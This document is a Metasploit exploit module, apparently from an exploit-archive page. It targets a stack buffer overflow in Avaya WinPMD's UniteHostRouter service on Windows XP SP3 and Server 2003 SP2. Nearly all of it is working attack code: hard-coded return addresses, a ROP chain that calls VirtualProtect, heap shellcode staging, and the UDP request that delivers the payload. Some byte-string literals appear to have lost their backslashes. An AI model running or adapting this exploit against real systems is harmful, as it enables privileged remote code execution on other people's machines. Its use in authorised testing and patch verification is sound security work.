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Avaya WinPMD UniteHostRouter Buffer Overflow

Posted on 09 October 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
 'Description' => %q{
 This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
 exists in the UniteHostRouter service, due to the insecure usage of memcpy when
 parsing specially crafted "To:" headers. The module has been tested successfully on
 Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
 },
 'Author' =>
 [
 'Abdul-Aziz Hariri', # Vulnerability discovery
 'Abysssec', # PoC
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 ['OSVDB', '82764'],
 ['OSVDB', '73269'],
 ['BID', '47947'],
 ['EDB', '18397'],
 ['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
 ['URL', 'http://secunia.com/advisories/44062']
 ],
 'Payload' =>
 {
 'BadChars' => "x00x0dx0ax20x2fx3ax3f",
 'Space' => 1024,
 'DisableNops' => true
 },
 'Platform' => 'win',
 'Targets' =>
 [
 ['Avaya WinPMD 3.8.2 / Windows XP SP3',
 {
 'Offset' => 260,
 'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
 }
 ],
 ['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
 {
 'Offset' => 260,
 'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
 }
 ]
 ],
 'Privileged' => true,
 'DisclosureDate' => 'May 23 2011',
 'DefaultTarget' => 0
 ))

 register_options([ Opt::RPORT(3217) ], self.class)
 end

 def junk(n=4)
 return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
 return make_nops(4).unpack("V")[0].to_i
 end

 def exploit
 connect_udp

 if target.name =~ /Windows XP SP3/
 buf = "xebx7f" # jmp short $+0x81
 buf << rand_text(0x81 - 2)
 buf << "xebx7f" # jmp short $+0x81
 buf << rand_text(0x81 - 2)
 buf << "xebx64" # jmp short $+0x66 # jmp to shellcode in the heap
 buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
 buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
 buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
 buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
 elsif target.name =~ /Windows 2003 SP2/
 rop_gadgets =
 [
 0x77bb2563, # POP EAX # RETN
 0x77ba1114, # <- *&VirtualProtect()
 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
 junk,
 0x77bb0c86, # XCHG EAX,ESI # RETN
 0x77bc9801, # POP EBP # RETN
 0x77be2265, # ptr to 'push esp # ret'
 0x77bb2563, # POP EAX # RETN
 0x03C0990F,
 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
 0x77bb48d3, # POP EBX, RET
 0x77bf21e0, # .data
 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
 0x77bbfc02, # POP ECX # RETN
 0x77bef001, # W pointer (lpOldProtect) (-> ecx)
 0x77bd8c04, # POP EDI # RETN
 0x77bd8c05, # ROP NOP (-> edi)
 0x77bb2563, # POP EAX # RETN
 0x03c0984f,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb8285, # XCHG EAX,EDX # RETN
 0x77bb2563, # POP EAX # RETN
 nop,
 0x77be6591, # PUSHAD # ADD AL,0EF # RETN
 ].pack("V*")
 buf = rand_text(3) # padding
 buf << rop_gadgets
 buf << "xebx7f" # jmp $+0x81
 buf << rand_text(0x81-2)
 buf << "xebx25" # jmp short $+0x66 => to shellcode
 buf << rand_text(target['Offset'] - buf.length)
 buf << "xf2xe0x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
 end

 request = "UTP/1 To: 127.0.0.1 /#{buf}

"

 if target.name =~ /Windows 2003 SP2/
 request << "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500
 end

 request << payload.encoded # The shellcode will be stored in the heap

 print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
 udp_sock.put(request)
 disconnect_udp
 end

end

 

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